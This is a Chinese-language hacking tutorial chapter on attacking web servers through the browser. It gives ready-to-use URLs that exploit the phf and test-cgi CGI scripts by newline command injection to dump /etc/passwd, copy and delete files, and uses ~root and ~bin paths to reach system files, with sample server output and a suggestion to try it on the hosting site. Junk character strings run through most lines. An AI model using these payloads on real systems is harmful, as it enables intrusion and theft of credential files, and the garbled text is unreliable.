在本章我將講述一些利用瀏覽器來(lái)進(jìn)行攻擊的方法- c1 J0 {/ T l* \4 A
1。大家都知道了phf攻擊了,phf是cgi script,很多站點(diǎn)都有這個(gè)大漏洞啦,使用# g4 a! R4 H* V# N Q# y
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個(gè)站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如:: ^/ |2 ~4 [) e. k! f8 l
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
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me=&Qoffice_phone=4 Q2 K4 z1 y9 y* X1 f
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=0 d7 H" {- |7 I* }
haqr&Qemail=&Qnickname=&Qoffice_phone=9 r- ^; S' V8 R( a1 O% v: m
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
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http://thegnome.com/~someuser/passwd
: q1 R3 c) Q1 o1 ohttp://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname3 X. m7 j+ N# q: ^3 t& t! A
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上面執(zhí)行的命令是! K/ |! l$ t v9 Y
id
* G1 p. }6 V. c% Y2 w6 F4 T2 Fls -la ~someuser9 P2 k+ s2 j) T1 f
cp /etc/passwd ~someuser/passwd
4 g- d( u1 B8 g9 b! Qrm ~someuser/passwd. |7 A: Y( n5 h- {
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2。有關(guān)test攻擊
# ]3 L6 W: J {; Vhttp://thegnome.com/cgi-bin/test-cgi?\whatever
) D& j+ \4 Z4 R, Y. l# v服務(wù)器會(huì)應(yīng)答,本服務(wù)器的一些情況如:
: i# B# Y8 W( ~5 c: U4 y uCGI/1.0 test script report:
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9 b; L, U5 E* N6 t N0 v0 gargc is 0. argv is .
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. e0 ~0 n# }, W# N, i8 m( zSERVER_SOFTWARE = NCSA/1.4B
8 @2 D% p9 K8 T9 J# K7 w1 p9 x1 P, M2 }SERVER_NAME = thegnome.com) ]0 r/ R% I' q
GATEWAY_INTERFACE = CGI/1.1& b7 K6 o r b3 A: w
SERVER_PROTOCOL = HTTP/1.0
- C7 g- \- `9 c X) r' _SERVER_PORT = 80& m+ H* s5 Z4 H s" W, S* F1 O
REQUEST_METHOD = GET* z3 y( Z8 x% n5 g: j
HTTP_ACCEPT = text/plain, application/x-html, application/html,
# C" q9 r4 n- v; G5 T rtext/html, text/x-html
0 v! P4 S; A" ~9 pPATH_INFO =
$ ~# h8 a# U! B) v3 A2 OPATH_TRANSLATED =
* ^. f& ?* B5 L( MSCRIPT_NAME = /cgi-bin/test-cgi( Q o4 o( G' @/ W: h
QUERY_STRING = whatever
# ~: m2 e) \7 fREMOTE_HOST = fifth.column.gov# D( b3 h% x" B1 c! i4 V
REMOTE_ADDR = 200.200.200.2003 K( L5 T' M4 q0 l
REMOTE_USER =
- H/ ~ w' B0 ]7 c p' {AUTH_TYPE =) X; p$ B, M+ b n5 `4 ?. {
CONTENT_TYPE =
: K' O' H4 V; F, F& ]# N+ GCONTENT_LENGTH =
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0 G G8 }9 Y4 I- K$ s好吧,讓我們來(lái)點(diǎn)趕興趣的6 m) K% @/ y( I) e
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd! p# \8 D' F# Z
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3。~的應(yīng)用3 v' ~) @4 T1 I# P6 n! L0 e
~主要是用在很多的個(gè)人主頁(yè)上的快捷目錄的方法,如果我們使用這樣的~
7 K8 c" f4 H5 p, u" bhttp://thegnome.com/~root
* [% O4 X, a# Shttp://thegnome.com/~root/etc/passwd
: a7 A9 B: C. Z$ }不是在任何平臺(tái)上都通過(guò)呦,在BSD Apache上曾經(jīng)成功過(guò),當(dāng)然還可以試試~bin ,~etc,~uucp...../ _' q, c- d4 c- E
看到這個(gè)站點(diǎn)了嗎,本站所在的這個(gè)站點(diǎn)就是用這種形式的,如果我們打入 本站所在的web地址/~bin
9 G, Q% A: p- ]$ N& p" `; E x出現(xiàn)了什么,你看到了嗎?然后...............注意請(qǐng)不要破壞
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